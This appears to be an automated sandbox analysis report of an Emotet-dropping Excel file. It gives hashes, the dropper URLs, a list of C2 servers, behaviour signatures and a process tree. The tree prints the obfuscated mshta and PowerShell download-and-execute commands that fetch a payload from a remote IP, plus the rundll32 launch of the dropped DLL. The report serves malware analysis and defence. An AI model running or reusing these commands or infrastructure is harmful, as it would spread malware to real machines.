Analysis

  • max time kernel
    111s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28-01-2022 00:42

General

  • Target

    SCAN 28012022.xls

  • Size

    36KB

  • MD5

    b8e2b4ad880a3d428762d98f22a3291d

  • SHA1

    23bf1353fb8b2b1c17f309c2d5553a7d821604c5

  • SHA256

    2a110ebd19689b3d6c143a3916adf1f6132aa6ebdb1b150a8570be422540b263

  • SHA512

    9f0547ce417223dd2fb883c60ac6a9e45e9b25b6f083ef1c96450eca67f4d0c7c8578cf59d02379e9620a89b5207c3a64faa9a2a8cd7886ab15d1164a4664073

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://91.240.118.168/oo/aa/se.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.240.118.168/oo/aa/se.png

Extracted

Family

emotet

Botnet

Epoch5

C2

159.69.43.124:8080

45.79.80.198:443

207.148.81.119:8080

128.199.192.135:8080

118.98.72.86:443

217.182.143.207:443

168.197.250.14:80

116.124.128.206:8080

78.46.73.125:443

185.148.168.15:8080

195.154.146.35:443

85.214.67.203:8080

194.9.172.107:8080

59.148.253.194:443

210.57.209.142:8080

54.38.242.185:443

195.77.239.39:8080

159.69.237.188:443

104.131.62.48:8080

62.171.178.147:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SCAN 28012022.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2608
    • C:\Windows\SYSTEM32\CMD.EXE
      CMD.EXE /c ms^hta http://91.2^40.118.1^68/oo/aa/s^e.ht^m^l
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\system32\mshta.exe
        mshta http://91.240.118.168/oo/aa/se.html
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2396
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e'.replace('{HgfRrtGdf}', ''); $c4='bC{HgfRrtGdf}li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}{HgfRrtGdf}t).D{HgfRrtGdf}{HgfRrtGdf}ow{HgfRrtGdf}{HgfRrtGdf}nl{HgfRrtGdf}{HgfRrtGdf}{HgfRrtGdf}o'.replace('{HgfRrtGdf}', ''); $c3='ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf}g{HgfRrtGdf}(''ht{HgfRrtGdf}tp{HgfRrtGdf}://91.240.118.168/oo/aa/se.png'')'.replace('{HgfRrtGdf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3124
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1228
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,AADD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2848
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:496
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nuttsxtlfzron\dkverxrlmd.alc",MmgTdtvRfhmi
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1856
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Nuttsxtlfzron\dkverxrlmd.alc",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1436
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 2396 -s 1896
          4⤵
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1152

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

3
T1082

Query Registry

2
T1012

Replay Monitor

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Downloads

  • C:\ProgramData\QWER.dll
    MD5

    d7653fa9b638f6d41d1f76ed3025a875

    SHA1

    f6207008ab3abf05e7b99d5c43d39abd4823fa35

    SHA256

    1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

    SHA512

    393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

  • \ProgramData\QWER.dll
    MD5

    d7653fa9b638f6d41d1f76ed3025a875

    SHA1

    f6207008ab3abf05e7b99d5c43d39abd4823fa35

    SHA256

    1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

    SHA512

    393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

  • \ProgramData\QWER.dll
    MD5

    d7653fa9b638f6d41d1f76ed3025a875

    SHA1

    f6207008ab3abf05e7b99d5c43d39abd4823fa35

    SHA256

    1d32000ec966eefc949fcc8a3e7bac4954a19c08f18b340a41f8f3ee27b8447e

    SHA512

    393bfb905c740e4ed690a4951c4ad357cea5817ae5f1b99fb811031e0af20b9b3f94984b840ddc8e8fda502e9d2fcab8bf7806581399c7ee3d8092354b1eaa10

  • memory/496-619-0x0000000005450000-0x0000000005477000-memory.dmp
    Filesize

    156KB

  • memory/496-617-0x0000000005270000-0x0000000005297000-memory.dmp
    Filesize

    156KB

  • memory/496-615-0x0000000005210000-0x0000000005237000-memory.dmp
    Filesize

    156KB

  • memory/496-613-0x00000000051B0000-0x00000000051D7000-memory.dmp
    Filesize

    156KB

  • memory/496-611-0x0000000005050000-0x0000000005077000-memory.dmp
    Filesize

    156KB

  • memory/496-609-0x0000000004F70000-0x0000000004F97000-memory.dmp
    Filesize

    156KB

  • memory/496-606-0x00000000048E0000-0x0000000004907000-memory.dmp
    Filesize

    156KB

  • memory/1436-629-0x0000000004A50000-0x0000000004A77000-memory.dmp
    Filesize

    156KB

  • memory/1436-639-0x0000000004F60000-0x0000000004F87000-memory.dmp
    Filesize

    156KB

  • memory/1436-637-0x0000000004EE0000-0x0000000004F07000-memory.dmp
    Filesize

    156KB

  • memory/1436-635-0x0000000004CF0000-0x0000000004D17000-memory.dmp
    Filesize

    156KB

  • memory/1436-633-0x0000000004C10000-0x0000000004C37000-memory.dmp
    Filesize

    156KB

  • memory/1436-631-0x0000000004B30000-0x0000000004B57000-memory.dmp
    Filesize

    156KB

  • memory/1436-627-0x0000000004970000-0x0000000004997000-memory.dmp
    Filesize

    156KB

  • memory/1436-622-0x0000000000D40000-0x0000000000D67000-memory.dmp
    Filesize

    156KB

  • memory/1856-621-0x00000000030D0000-0x00000000030F7000-memory.dmp
    Filesize

    156KB

  • memory/2608-116-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-662-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-118-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-117-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-665-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-128-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-129-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp
    Filesize

    64KB

  • memory/2608-664-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-115-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2608-127-0x00007FFB00DC0000-0x00007FFB00DD0000-memory.dmp
    Filesize

    64KB

  • memory/2608-663-0x00007FFB04400000-0x00007FFB04410000-memory.dmp
    Filesize

    64KB

  • memory/2848-601-0x0000000000D10000-0x0000000000D37000-memory.dmp
    Filesize

    156KB

  • memory/3124-282-0x000001D270B90000-0x000001D270B92000-memory.dmp
    Filesize

    8KB

  • memory/3124-420-0x000001D270B96000-0x000001D270B98000-memory.dmp
    Filesize

    8KB

  • memory/3124-349-0x000001D270F70000-0x000001D270FAC000-memory.dmp
    Filesize

    240KB

  • memory/3124-283-0x000001D270B93000-0x000001D270B95000-memory.dmp
    Filesize

    8KB

  • memory/3124-279-0x000001D270A60000-0x000001D270A82000-memory.dmp
    Filesize

    136KB

  • memory/3124-375-0x000001D271290000-0x000001D271306000-memory.dmp
    Filesize

    472KB